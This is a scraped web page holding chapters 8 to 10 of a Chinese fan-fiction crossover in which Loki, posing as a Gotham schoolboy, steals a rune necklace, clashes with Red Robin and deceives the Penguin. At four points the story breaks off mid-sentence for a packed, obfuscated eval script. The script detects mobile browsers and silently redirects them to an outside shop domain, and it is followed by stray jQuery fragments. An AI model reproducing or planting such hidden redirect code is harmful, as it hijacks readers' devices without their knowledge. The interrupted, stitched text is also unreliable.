;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336299|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让我在周一的早晨看见我们的德雷克会长。”
“只是刚好路过,”提姆将视线转向洛基,“早上好,贾斯珀。”
洛基敏锐地察觉到了对方的视线似乎在他那只受伤的大臂上停留了一瞬间。
“早上好。”他没有多想,对着提姆点了点头。
“周末过得怎么样?”提姆自然而然地谈论起了这个假期,“我听说姐妹会在周六晚上举办了个‘新学期派对’?”
“当然!这可是我的主意,”谈论到派对的布瑞尼肉眼可见地兴奋了起来,“可惜你说什么都不愿意来参加,我可是邀请了你整整三次!”
“我很抱歉,但你知道我有个对我的作息管理很严苛的老管家,”提姆歉意地笑了笑,随后装若无意地将话题抛到了洛基身上,“你呢?贾斯珀,你有去参加吗?”
“他当然没有!”布瑞尼翻了个白眼,代替洛基回答了提姆,“我甚至邀请了他四次!”
“你知道你错过了什么吗?这可是我们这学期举办的第一场Party。”布瑞尼嗔怪地瞪了一眼洛基,等着他为这个周末的缺席做出解释。
“好吧,”洛基耸了耸肩,“你们都知道我是英国来的,这应该也不算什么秘密,所以我现在正被寄养在亲戚家里,而我这位亲戚是个不太好相处的家伙,有时候我甚至不被允许独自外出,因为他总担心我会拿他的钱出去胡乱挥霍,或者做出什么出格的事情让他无法掌控。”
“听起来他还真是个无可救药的老古董,”布瑞尼眼中的嗔怪瞬间化为了怜惜,“可怜的jas,跟这种老迂腐住在一起一定不好受。”
“是的。”洛基赞同地点了点头。
“那他总不能还限制你在校内的课外活动吧?”布瑞尼撩了一把在灯光下显得波光粼粼的长发,“今天放学体育馆有社团招新活动,到时候你们两个都要来姐妹会的摊位玩呀,晚上我们还有独家加时活动哦。”
“抱歉,我来不了。”
“我今晚没时间。”
两道音色截然不同的声音在走廊同时响起。
洛基挑了挑眉,有些意外地看向与他同一时刻的出声的提姆,而提姆恰好也在此刻抬眼,一蓝一绿两道视线猝不及防地在空中交汇。
“你们两个什么意思?”布瑞尼冷哼了一声,视线在两个高挑漂亮的男孩身上来回打转,“一起约好了要躲我?”
“学生会的招新工作也在今天,我作为会长当然无法随便离开。”提姆给出了一个满分答案,随后跟布瑞尼一齐将视线投向洛基。
“你呢?”
提姆隐晦地审视着面前瘦削的转校生。
“今天是我寄人篱下以来的第一个周一,”洛基面不改色地说道,“按照我们那边的习惯,今晚是我的‘Monday Night Footing’,晚餐我必须得准时到场,这代表了我在哥谭的第一份好运气。”
“真的假的?”布瑞尼一脸狐疑地打量着洛基,“英国有这种习俗吗?”
洛基满脸真诚地对着女孩开口,“当然。”
8. 第 8 章
当然是假的。
变身为假面帮成员的洛基伸手扶了扶脸上的面具,悄无声息地混入了黑面具在港口部署下的私人卫队中。
除去那天口头交代给他的时间地点,企鹅人没有告诉他关于这次任务的任何信息。
起先洛基以为这只是单纯的轻视或不信任,不过就他之后观察到的情况来看——企鹅人那个自恋的老迂腐估计自己手上都没有多少有用的信息,这才派他来蹚这趟浑水。
哈,老迂腐。洛基喜欢这个称呼。
“喂,你在后面发什么呆,”领头一个带着哭脸面具的男人对着洛基呼嚷道,“跟紧点,货船要靠岸了。”
洛基几步上前跟上队伍,跟紧了这个看着像是这伙人中的领头的家伙,“晚上好。”
哭脸面具转过头凝视了他几秒——洛基能感受到面具后那双带着审慎意味的眼睛——随后语气如常地开口:“你有病?”
“好吧,”洛基在面具后的眼眸同样打量着面前的男人,但表面上还是姿态轻视的耸了耸肩,“我只是希望得到离队批准,我有点生理问题需要去解决。”
洛基的话音刚刚落下,面前的中庭人便粗鲁地拎起了他的衣领,那张怪诞狰狞的哭脸面具便猛地贴近凑到了洛基眼前。
“我怎么不记得我手下什么时候收了这么一个不识时务的家伙,”哭脸面具压低着声音恐吓他,“再继续喋喋不休我就把你的舌头割下来丢去路边喂狗。”
“哇,”洛基捧读道,“那可真吓人。”
“我是认真的。”洛基感受着颈间加重的力道,高举起双手做出投降的姿势,“我发誓我马上就回来。”
“一分钟。”哭脸面具终于松开了他的衣领,干巴巴对他抛下两个单词便转身带着身后的队伍继续向停泊点前进。
简单得就像小时候从索尔的手上抢糖果。
得以重获自由身的洛基抬手打了个响指,幻化出的分身戴着与自己相同的撒旦面具,在收到本体的指示后抬脚朝着与自己截然相反的方向离开。
企鹅人说的没错,黑面具搞出来的那些小把戏根本拦不住洛基,他几乎没费什么力气就越过防守潜入了那艘从东欧偷渡而来的货船。
洛基在深夜呼啸的海风中分辨着舱梯的具体方位,游刃有余的模样像一只穿行在夜色中的黑猫,脚步轻巧地绕开了甲板上一列巡逻的守卫,来到了甲板之下的货舱内部。
在洛基的双脚触及到货舱层地面的瞬间,掩盖在外衣布料下的小臂突然泛起了一股奇特的痒意,洛基皱着眉在原地停留了片刻,最终还是决定保守行事等到任务结束后再解除变身检查身体。
翠绿的光点一闪而过,洛基推开货舱深处那扇用于装载货物的铁门。
仓室中的内容物远比洛基想象中的要少,他略过那些普通的中庭火器与捆着纸钞现金的布袋,凭着直觉径直来到了角落里那个看似不起眼的手提箱前。
手指接触到箱面的瞬间,他的身体深处突然涌上了一股莫名的...熟悉感。
洛基皱起眉,蹲下身子打开了手提箱,看到了一串造型奇特的项链,和一枚约莫有他手掌大小的封筒。
这就是企鹅人让他销毁的重要货物?黑面具花了八百万搞回来的“新鲜玩意儿”?
洛基用食指挑起那串挂坠,凑到眼前打量起挂坠上的细节。
这串挂坠下一共缀落着九枚金色的挂坠,入手冰凉、沉甸甸的,每一颗的色泽和质地都有细微的差距,看着像是某种矿石或琥珀,其表层镌刻着的符文也各不相同,由二十多节紧密相扣的节状硬物串联在一起。
洛基的手指摩挲着那条乳白色链条——完全没有弹性,但是有不像金属那般坚硬,他甚至还能在上面摸到凸起的细小纹理。
骨头做的?
洛基将项链收入外套的口袋,随后伸手取过那枚套筒,掀开顶部的盖子抽出那张卷曲着纳入其间的纸条。
洛基将纸页在眼前展开,并在看清上面的内容时高高挑起了眉毛。
如尼文?
洛基认识如尼文,他漫长的童年时光除了学习魔法之外,基本都是在和这些古老的文字符号打交道,之后也在阿斯加德的藏书室内研读过不少关于如尼文化的书籍,对如尼文的认写基本没有障碍。
洛基一目十行地阅读着纸上撰写的内容,两条秀长的眉毛在这期间越扬越高。
“拥有让人和听众信服任何话语的能力的,诗歌与雄辩之神布拉吉的黄金舌头,”洛基语调轻缓地低声念出上面的内容,“死于诸神黄昏的布拉吉在临死之际咬断了自己的舌头,喷溅而出的神血化作九颗蕴含着诗歌之力的宝石。”
“九颗宝石分别是,赞美、爱情、诽谤、誓言、谎言、疼痛、疗愈、沉默、呐喊,佩戴者通过吟诵对应的诗歌激活力量...”
又是宝石?洛基的嘴角抽了抽。
他承认自己现在有点宝石PTSD。
洛基定了定神,视线接着下移,看向那九行被单独分段列出的诗歌。
从使用的韵脚结构和通篇的比喻复合词来判断,这应该是九句北欧吟唱诗歌:
/“让我斟满蜜酒,高举话语之碗,敬献给战斧的主人”——赞美
/“她走进大厅,我眼中的世界燃尽,只剩下炉火的灰烬”——爱情
/“毒液从你舌尖低落,腐蚀了长桌旁所有盛满麦酒的木杯”——诽谤
/“我以臂环抵押给深海,若背弃此言,让海浪吞没我的名字”——誓言
/“你的舌头像春天的薄冰,看似坚固,脚下却是深渊”——谎言
/“乌鸦食我肋骨做成的笼子,心脏在里面拍打,却无法飞出”——疼痛
/“母亲的手拂过伤口,那里停止了风暴,峡湾结起坚冰”——疗愈
/“我在舌根埋下了九个冬天的秘密,等待泥土把它腐烂成力量”——沉默
/“让这一声撕裂喉咙,如黑龙破船首,撞向那沉默的悬崖”——呐喊
“吟诵时心中怀抱敬意,方可捕捉那古老的回响,借用伟大的诗歌与雄辩之神布拉吉的力量——”
洛基声音突然断在了半空。
他有些匆忙地将卷纸塞回封筒,随后重新起身来到了货仓门边,货舱长廊外正传来一阵密集且逼近的脚步声。
“动作快点!黑面具说货仓里的东西绝对不能丢!”
这就发现他了?
洛基并没有从分身那边感应到危险信号——他的分身自始至终都跟着黑面具的假面兵团在港口边巡逻,悠闲到甚至用不着他分心去操控,自己在潜入途
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336300|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中也没有触发过警报或是被守卫发现。
洛基躲在仓门与墙面之间的夹缝中,在守卫推门涌入货仓的一瞬间,趁着无人注意从门后走出混入了这群守卫的队伍尾端。
“货还在!”前去检查货物的中庭人在摊开的手提箱旁捡起了那条洛基用幻术替换上去赝品项链,“看起来他只刚来得及撬开箱子就匆忙逃走了。”
为首的中庭人冷笑了一声,“看来那个臭小子也没有他们说的那么神乎其神嘛。”
“走,”他对着身后的队伍挥了挥手,“收队,去甲板上帮忙。”
洛基跟着他们的队伍上了甲板,双手自然而然地揣进衣兜,指尖绕上骨链,在口袋里把玩着那条真正的宝石项链。
简直比小时候从索尔的手上抢糖果还要简单。
甲板上的景象比洛基想象中的热闹得多,本来分散在四处巡逻的守卫此刻正共同朝着甲板的某个方向前进,不远处的码头上也有源源不断的新人向着这边聚集,似乎有什么难以对付的家伙闯进来了。
洛基想起了那个在企鹅人口中听到的“红罗宾”。
但这又关他什么事呢,洛基的今日任务已经圆满结束了,红罗宾又不认识他,他现在只是这场混乱中毫不起眼的一个黑面具手下。
他借着混乱的场面悄无声息地推出了人群,带着战利品一身轻松地穿梭在港口的枪林弹雨中。
为了防止被黑面具的人当成逃兵直接就地处决,已经来到港口外围的洛基还灵机一动地为自己更换了一个变身目标——一个保证安全无害的完美目标。
再次变身结束的洛基伸手理了理自己的衬衫衣领,随后就像一个真的误入□□火拼现场的无辜路人那样朝着港口外小跑起来。
那艘货船似乎在混乱中驶离了港湾,汽笛声拖得很长,掩盖了码头上混乱的叫喊声和枪声,但此时此刻这一切声音都被洛基甩到了身后,他沿着集装箱的阴影来到了一条僻静的巷口,低头准备联系奥格尔维接他回冰山赌场交差。
还是那句话,简单的就像小时候从索尔手里抢糖——
“站住。”
一道被刻意压低但仍掩盖不住其清亮本色的声音自洛基身前响起。
洛基有些迟疑地顿住了脚步,循着声源抬起头,只是一眼,便成功判断出了来人的身份。
那是一个穿着红黑紧身衣的清瘦身影,光从身形上判断年级应该没比现在的他大多少,面具上的白色护目镜在夜色中隐隐反光,配合上他身后那张被海风掀起到半空的小披风,倒是让他看着真的挺像一只振翅的幼鸟。
红罗宾。
洛基自顾自打量着面前这只不请自来的小红鸟,也就没注意到对方那道几乎是从他转身起便黏在他脸上的目光。
“你是谁?”红小鸟警惕地看着洛基,同时甩开了手中握着的战斗长棍。
“这句话不该我问你吗?”洛基满脸莫名地看向拦在他身前的红罗宾。
而且不知道是不是洛基的错觉,在他说出这句话后,红罗宾的表情似乎变得更加凝重了一些,握着伸缩长棍的胳膊都隐隐浮起了青筋。
“别演了,”红罗宾黑沉着脸,手中的长棍跃跃欲试地抽打着空气,“我知道你是冲着我来的,既然如此,那就来吧。”
洛基:?
9. 第 9 章
提姆说不清在夜巡途中突然看到“自己”出现在黑面具的黑暗交易现场是什么滋味。
特别是他现在还有一个秘密身份需要维持,所以没办法直接揭穿对面这个身份小偷的时候。
提姆不认为这是一个巧合。
否则这个身份小偷怎么就能在变身成“提姆.德雷克”的时候恰好出现在“红罗宾”的夜巡区域中呢?这很明显是一个针对他的阴谋。
这是最坏的结果,这说明对方已经发现他的秘密身份了。
而且这种魔法般的变身方式,也让提姆想起了前几日在钻石区慈善晚宴上新亮相的超自然罪犯——按照迪克的说法,那个新反派当时也是靠着类似的把戏混入慈善晚宴的吧?
“所以你其实是认识‘我’的?”即便对一切尚不知情,但是洛基依旧从红罗宾的这番举动中品味到了不少东西。
提姆德雷克那个全优生富少还认识这么一号人物?
“我当然认识你。”红罗宾将这个‘你’的发音咬的极重。
哦,看来不仅是认识,还结过仇?
洛基的眉毛又扬了起来,他记得自己曾经在哥谭花边小报的某个板块中看到过关于蝙蝠侠和布鲁斯韦恩关系的猜忌——关于两者之间存在的某种不太能过审的隐秘联系。
虽然洛基完全将其当做是哥谭人为了消遣名人而编造出来的无脑无营养八卦,但这并不妨碍他津津有味地追更了好几期。
可能他确实有点被哥谭高中那群八卦的青少年同化了吧,但这真的是洛基在两点一线的中学生生活中为数不多的乐趣了。
所以韦恩家族其实是人手一只鸟吗——请忽略蝙蝠实际上是哺乳动物这一点——把这当做独家报道卖给那家报社应该能赚不小一笔吧?
洛基一边天马行空地猜测着红罗宾与提姆的联系,一边闪身夺过了那根被挥舞得猎猎作响的长棍。
“喂,听着小红鸟,”洛基一边躲避着攻击一边开口为自己辩解,“这是个误会,我不是你要找的人。”
“你就是。”
红罗宾并未理会他的迂回话术,手上的力道丝毫不减,又猛又快的挥击将洛基逼得节节败退。
“那好吧。”洛基耸了耸肩,手中幻化出那把熟悉的金绿匕首,抬手接住了朝他迎面挥来的一击,兵刃相接产生的巨大冲力将因为借力挥击弹跳至半空的红罗宾瞬间向后弹开。
红罗宾用长棍抵住地面减缓冲力,稳住身体的一瞬间再次挥棍朝着洛基冲来。
“我今晚真没什么打架的兴致,”洛基侧身再次躲过红罗宾的全力一击,“我明天早上还得早起。”
这到底是多大的仇多深的怨啊?
“你不想打?”红罗宾将长棍在手中绕了一圈,朝着洛基的方向扬了扬下巴,“那就报上姓名和来哥谭的目的。”
“我的姓名?”洛基歪了歪头,“我是Ti...”
洛基只来得及发出一个音节就被红罗宾再次挥来的长棍逼得被迫住了嘴。
红罗宾这回的攻击带上了明显的努力,他的脚尖蹬上墙壁,及腰长的小披风在空中划出圆弧,身姿轻盈地跃至半空,挥下的长棍却是又重又狠。
洛基被打了个措手不及,只来得及匆匆从原地瞬移。
动作间似乎有什么东西从口袋中滑落了出去,重新站定的洛基连忙低头去检查上衣口袋,却只摸到了那枚装着纸条的封筒。
“你还说你不是?”红罗宾的胸膛在剧烈的打斗与怒火的冲击中上下起伏着,“无论你现在知道了多少我的秘密,都别想以此来要挟我和...”
红罗宾的声音在感受到脚下的异物时突然顿在了原地。
他低下头,看见了一串在夜色中显得璀璨夺目的宝石项链。
巷子中再次闪过绿光,刚刚瞬移出去的洛基再一次瞬移回了红罗宾面前。
发现不对的红罗宾眼疾手快地将项链从地上捡起,与恰好朝着项链伸出手的洛基一左一右分别抓住了缀在骨链上最左端和最右端的宝石。
“还给我。”
“松手。”
两道音色无限趋同的声音在巷子同时响起。
洛基皱了皱眉,莫名觉得这个场景的既视感有点强,但夺回挂坠的心情在此刻占了上风,让他无暇去顾及刚刚昙花一现的短暂熟悉感。
“这是什么?”红罗宾的目光紧盯着眼前这张与自己完全一样的面孔,“你偷的东西?”
“不关你事。”洛基试图用蛮力将项链扯回来,“赶快还给我。”
“你知道自己在受到真正的威胁或利益侵害时就会表现得尤其激进和不耐烦吗?”红罗宾回忆起自己在蝙蝠侠上次的任务录像中看见的景象,“但你明明是个很会演戏的人,却只在表达负面情绪时把所有东西都写在脸上——就像现在这样。”
“看来你出生在一个缺乏鼓励和关注的家庭里?你知道在心理学中有个概念叫情绪超载...”
“闭嘴,”洛基咬牙切齿地打断了他,“我再说一遍,把东西还我。”
“我如果拒绝呢?”
红罗宾刚说完这句话便感觉指尖窜上了一股急猛的寒意,他有些错愕地低下头,惊讶地发现手中项链正以洛基手中攥着的那块宝石为起点凝结起一层冰霜,并且以一种极快的速度蔓延至他的方向。
“那我就只好先把你冻成冰块了。”
洛基的声音紧接着在耳边响起。
“冰块多好啊,”他的脸上浮起一个称得上温柔的笑,握着项链一端的那只手缓慢施加着力道,“不会动也不会闹,更不会喋喋不休地讲一些让人讨厌的话。”
红罗宾强忍着手掌上因为极寒传来的刺痛,丝毫没有松手的意思,感受到洛基的动作后甚至还将宝石握的更紧了一些。
两人在暗中互相较劲,明面上的动作也丝毫没有收敛,红罗宾再次甩出那根收缩长棍,洛基垂在一侧的手掌也再一次亮起绿光,就在两人即将再次缠斗在一起的瞬间,空气中却突然传来一道微不可察的“咔嚓”声。
二人皆是一愣,手上的力道却都意外默契地没有丝毫收敛,于是——
“啪——”
将宝石串联在骨链上的是一枚小小的木质圆环,本就不算牢固的装置此刻在被冰霜覆盖后质地逐渐变得硬脆,此刻在两道互相拉扯的力道中终于彻底分崩离析。
洛基手里的那颗宝石由于直接接触着施法源头,此时表面上凝结的冰壳也是最厚的,握在手里的质地和一颗湿滑的冰块没什么区别,洛基一时不察,那颗宝石居然就这么直接从手中飞了出去。
宝石在半空划出一道流星般的弧线,不知道落到了巷子中的哪个犄角旮旯里。
眼看缀着余下六颗宝石的骨链就要再次坠落地面,洛基瞥向红罗宾手里握着的那颗宝石,最终还是决定不要因小失大,伸手捞起那串残缺的项链,随后瞬移离开了这条巷子。
“喂!”
红罗宾试图伸手去抓住洛基瞬移前的残影,但还是抵不过超自然法术的超模速度,巷子中最终只留下几抹缥缈的绿光。
“跑这么快...”红罗宾将手中的长棍重新挂回腰带,随后低头打量起手中那枚被蛮力拽下的宝石,残留着的蓝色冰碴蜿蜒攀附在雕刻着复杂符文的宝石表面,看着像是本就存在于宝石上的纹理似的。
就在红罗宾沉浸在研究手里这颗奇稀奇的金色宝石的时候,他的身后突然传来一道轻不可闻的触地音。
“Hey,红罗宾。”
夜翼的声音紧接着自他耳边响起。
“在这发什么呆呢?”穿着黑蓝紧身衣的高挑青年身姿轻巧地从围墙跃下,正好降落在了红罗宾身侧,“听说你碰到了那个新的超自然罪犯?”
“你来晚了,”红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336301|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罗宾将手里的宝石抛到了夜翼手里,“他已经走了,只留下了这个。”
“这是...宝石?还挺漂亮的,”夜翼将那颗宝石举起,就着路灯的灯光观察着其上的细节,“有什么特别的功能吗?这可是一个魔法师留下的东西。”
“一共有九颗,遗落了一颗,剩下六颗被他带回去了,”红罗宾双手抱胸倚在墙边,“至于其他的...我只知道那个家伙很宝贝它,具体有什么功能我也不知道,不过可以拿给扎塔娜看看。”
“好主意,”夜翼挑了挑眉,“不过你这么脸色这么差,他很难对付?”
“不。比那个更坏。”红罗宾抿了抿嘴,“他可能发现我的秘密身份了。”
“什么?”
夜翼瞬间瞪大了藏在多米诺面具后的眼睛,“他怎么发现你的?在今晚之前你们应该从没碰过面啊。”
“...我不知道,”红罗宾沉沉吐出口气,“但我现在决定去验证其中一个猜想。”
“什么猜想?”夜翼摩拳擦掌地动了动手脚,“我跟你一起去。”
而红罗宾只是转过头看了他一眼,随后神色淡淡地点了点头。
五分钟后,站在哥谭夜晚人头攒动的唐人街街头的夜翼嘴角忍不住抽了再抽。
“...这就是你想验证的猜想?”被挤得灵魂失去颜色的夜翼开口问道,“看看晚间黄金十一点半的唐人街能否将红罗宾和夜翼挤成肉饼?”
“别这么着急,”红罗宾一边在脑中回忆着在学校时贾斯珀跟他说的那家餐厅的地址,一边带着夜翼飞快地穿梭在充满烟火气的唐人街街头。
“好了,我们到了。”
红罗宾抬眼打量着面前这家地道又不失风雅的中式餐馆——他记得贾斯珀当时说的就是这家餐厅,他的“Monday Night Footing”举办场地。
“难道你是要请我吃个夜宵吗?”夜翼看着神秘兮兮地拉着自己躲到一边的红罗宾,“你背着我偷偷创业成功了?唐人街的中餐贵得吃一次能抵我吃半个星期的麦当劳了。”
“嘘!”红罗宾终于出声制止了夜翼在潜伏的途中讲小话的不专业行为。
重获清净的红罗宾透过餐厅一侧的落地窗观察着其内部的情景,在来往的侍者与客人中寻找着那道高挑苍白的身影。
没有。
贾斯珀不在这。
红罗宾的心绪彻底沉入谷底。
“行了,验证结束了,”在餐厅门口又蹲守了十几分钟的红罗宾终于开口下了定论,“回去吧,我现在知道那个超自然罪犯是怎么...”
“那个不是你那个转校生同学吗?”夜翼突然出声打断了他。
青年伸手指向那个在刚才折返回餐厅中的身影,满脸好奇地打量着这个他只在iPad和提姆口中见闻过的神秘转学生。
红罗宾猛地扒开面前当做掩体的装饰盆栽,将视线再一次投向餐厅门口。
那个熟悉的高挑而瘦削得声音果真出现在了眼前,身上穿着他今天刚在学校里见过的那件衬衫——甚至连领口的那两颗纽扣都依然是解开的状态。
“老天,他跟企鹅人真的存在亲戚关系吗?他们看着完全是两模两样。”
夜翼自从上回在哥谭警局确认了那天在慈善晚宴的超自然罪犯和之前在哥谭发生的几件事情的始作俑者是同一个人之后就打消了对贾斯珀的怀疑,他们在核对当晚的监控时恰巧在钻石区的街头看见了刚从餐厅中走出的贾斯珀——而当时正好就是慈善晚宴的事发时间,这个曾经被他们列为头号嫌疑人的家伙拥有完美的不在场证明。
“噢,抱歉小提,你刚刚在说话是吗?”夜翼后知后觉地意识到了自己刚刚的失礼,“麻烦你再讲一次吧。”
“不用了。”红罗宾这么说道,重新从盆栽前站直身子。
“咱们走吧,验证结束了。”
10. 第 10 章
“晚上好,奥格尔维。”
洛基拉开后座的车门上了车,抬眼毫不避讳地与后视镜中的奥格尔维对上视线。
奥格尔维透过后视镜反射将洛基上上下下打量了一圈,视线最终停留在他右手提着的那个散发着食物香气的外带纸盒上。
“企鹅人的车上不允许吃东西。”
低沉嘶哑的声音在洛基耳边响起。
“别这么死板,”洛基将那份刚从唐人街打包来的中餐放到了后座自带的嵌入式桌板上,“我可是刚帮你的科波特先生干了一票大的,放学后连晚饭都没来得及吃就去港口蹲点了。”
“你总不能放任我饿死在车上吧?”
奥格尔维听着这熟悉的诡辩话术,额角忍不住突突跳了起来,连握着方向盘的手背都隐隐臌胀起青筋。
“我警告你,不要再一而再再而三地挑战我的底线。”
“好的,”洛基嘴上应得乖巧,拆开外卖盒的动作倒是一点不见拖泥带水,“我记住了。”
奥格尔维又瞪了他几眼,却也只是沉默地打开了车顶的天窗,随后便挂挡启动了车辆。
玛莎拉蒂总裁修长流畅的车身平稳地穿行在哥谭的夜色之中,洛基有一搭没一搭地吃着手里因为取餐不及时所以早已变得透心凉的中式快餐,只吃了不到三分之一便失去了进食的欲望。
都怪那个突然冒出来的红罗宾。
洛基将手中的塑料叉愤愤戳进餐盒中的炒饭中,随后从外衣口袋中拿出了那条残缺的宝石挂坠。
指尖勾起挂坠的一瞬间,他的小臂再次泛起那股在货仓时感受到的奇特痒意与自心底升起的莫名熟悉感。
洛基皱眉挽起左臂衣袖,在看清布料下的情形后面色瞬间染上惊诧。
在车内昏沉的灯光下,那截苍白细瘦的小臂上突然凭空出现了一块隐隐流转着金光的纹身,似蛇又似藤蔓的线条盘旋环绕在图案正中心相叠的九个大小不一的圆环。
纹身的面积几乎快要覆盖住他的整只小臂,甚至隐隐有向着手背扩散的趋势。
洛基的表情沉了下来,用指腹轻轻搔刮着皮肤上突然出现的纹身。
除此之外,洛基还注意到那串宝石挂坠在接近他的这只小臂时,宝石蜜酒般的暖金色彩会像是突然被赋予了生命缓缓流淌起来,与纹身上忽闪着的流光隐隐交相辉映。
这是...认主了?
洛基满眼新奇地打量着手臂上的纹身。
这不是那个什么诗歌之神的东西吗?找他这个诡计之神认什么主?
洛基又将那串挂坠拿到眼前仔细打量起那些宝石上镌刻着的细致符文。
在没看到那张撰写了诗歌的纸条前,洛基以为上面刻着的只是些无意义的装饰符文,直到现在才发现宝石上镌刻的内容实际上就是那张纸条上记录的诗歌,每一颗都对应了纸条上的一首诗歌。
洛基将上面的符文粗略与记忆中内容比对了一下,宝石从左往右的排列顺序分别是沉默、呐喊、谎言、疼痛、赞美、爱情、诽谤。
被拽掉的那两颗是誓言和疗愈。
“到了,下车。”奥格尔维的声音冷不丁在车内响起,唤回了洛基飘飞的思绪。
洛基连忙将挂坠塞回口袋,将袖子重新从手肘拉下后与奥格尔维一前一后下了车。
奥格尔维带洛基走的是冰山赌场的VIP通道,直通内部仅供重要客户及高层成员通行的Lounge区域。洛基自从上回当着企鹅人和他的一众贴身保镖的面前表演了点无伤大雅的小戏法又单枪匹马地跑去东区将整个地下世界搅得一团乱后,已经初步在冰山赌场内打响了名号,即便企鹅人的保密工作做的还算不错,但高层的这群人精也都或多或少知道企鹅人身边来了个主动投诚的新反派。
所以当洛基这个陌生且格格不入的新面孔出现在冰山Lounge时,周围立刻就投来了各种或好奇或审视的打量目光。
不过这种“万众瞩目”的滋味也就持续了短短一瞬,因为他们收到的消息除了企鹅人身边来了个不同寻常的新反派之外,还有个家道中落后横跨大洋彼岸来寻求庇护的远房亲戚。
面前的这个生面孔显然是个未成年——还是个脸蛋格外嫩的那种未成年,所以洛基的身份很快便被心照不宣地归类到了后者。
这是一个漂亮又瘦弱的小家伙,同时还是一个流落他乡只能仰人鼻息勉强生存的小家伙。
洛基对周边投来的那些恶意目光表现得适应良好,一路上维持着不远不近的距离跟在奥格尔维身后,直到走进企鹅人的办公室身后如有实质的黏腻目光才被门板隔绝在外。
“你的动作比我想象中要慢。”
洛基甫一进门便听见企鹅人从办公桌后悠悠传来的声音。
“遇到点小麻烦。”
洛基进门后立马卸下了那副谨慎的伪装,越过奥格尔维直接在沙发上坐下,姿态自得双手自然地交叠在身前,气定神闲得仿佛他才是那个盘踞在阴影中的帝国领导者。
企鹅人将一切都看在眼里,冷哼了一声将手里的雪茄在烟灰缸中碾了碾。
“东西呢?”
“东西?”
洛基突然讥讽地嗤笑了一声,长及下颚的黑发将那张本就骨肉削薄的面孔勾勒得有些阴柔,“一条破链子也需要大费周章地劳烦我去销毁,是我上回的投诚不够有诚意?还是你真的觉得我只是个...‘会玩点三流戏法的小杂种’?”
办公室内陷入了短暂地寂静。
良久,企鹅人才低低地笑出了声。
“别表现得像个真的十六岁的毛头小子那样浮躁,”企鹅人饶有兴致地撑着下巴,“我要看到的可不只是你的诚意。”
“就像你说的,我是个商人。”
他将雪茄夹到嘴边深深吸了一口,随后才慢悠悠地开口。
“我要看到你身上的价值。”
“奥格尔维你用的还习惯吗?”企鹅人突然说道。
“奥格尔维?”洛基挑了挑眉,视线投向一声不吭地站在企鹅人身后的副手先生,“还行?”
“那从今天开始,他就跟着你了,”企鹅人笑眯眯地看着面前的少年,“你会需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336302|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个得力的助手的。”
“哥谭是座美丽与危险并存的城市,而这也恰好构成了这座城市最致命的诱惑。”
汇报工作结束后的洛基起身离开了企鹅人的办公室,关上门的一瞬间脸上浮起抹不易察觉的笑容。
愚蠢又自负的家伙。
计谋得逞的洛基心情很是不错地走向了Lounge内自带的酒水吧台。
“滚开,这里不招待未成年。”
调酒师是个气质老成的年轻男人,算得上秀气的面庞周围留着一整圈浓密的络腮胡。
“喝杯果汁都不行吗?”洛基不为所动地在吧台前坐下,拿过一旁的酒水单低头阅览了起来。
他才刚看了没到两行,面前的酒水单便被人从手里抽走,洛基掀起眼皮,有些意外地看向突然出现在面前的奥格尔维。
“你也来喝酒?”洛基看着男人不算好看的脸色,满脸兴味地开口打趣道,“怎么?被你的科波特先生甩了心有不......”
洛基的话还未说完便被奥格尔维猛地攥住了衣领,随即将他整个人直接从高脚凳上提了起来。
“你对企鹅人撒谎了。”
奥格尔维阴恻恻的声音近距离地自耳边响起,“我看到了,你根本没有销毁那条链子,你私藏了它。”
一旁的调酒师依旧面不改色地擦拭着手里的高脚杯,从始至终甚至脸眼皮都没有抬起一下,显然早已对这种类型的事情习以为常。
“是啊,”洛基承认的很坦荡,“我撒谎了。”
“你要去向企鹅人禀报我的不诚吗?”即使受制于人也依旧保持着从容姿态的少年轻声说道,“忠心耿耿的副手先生?”
“噢,我忘记了,你现在是我的副手了,”洛基佯装惊讶地瞪大了眼睛,随后莞尔着继续开口。
“那么,现在你要要向谁献上忠诚呢?”
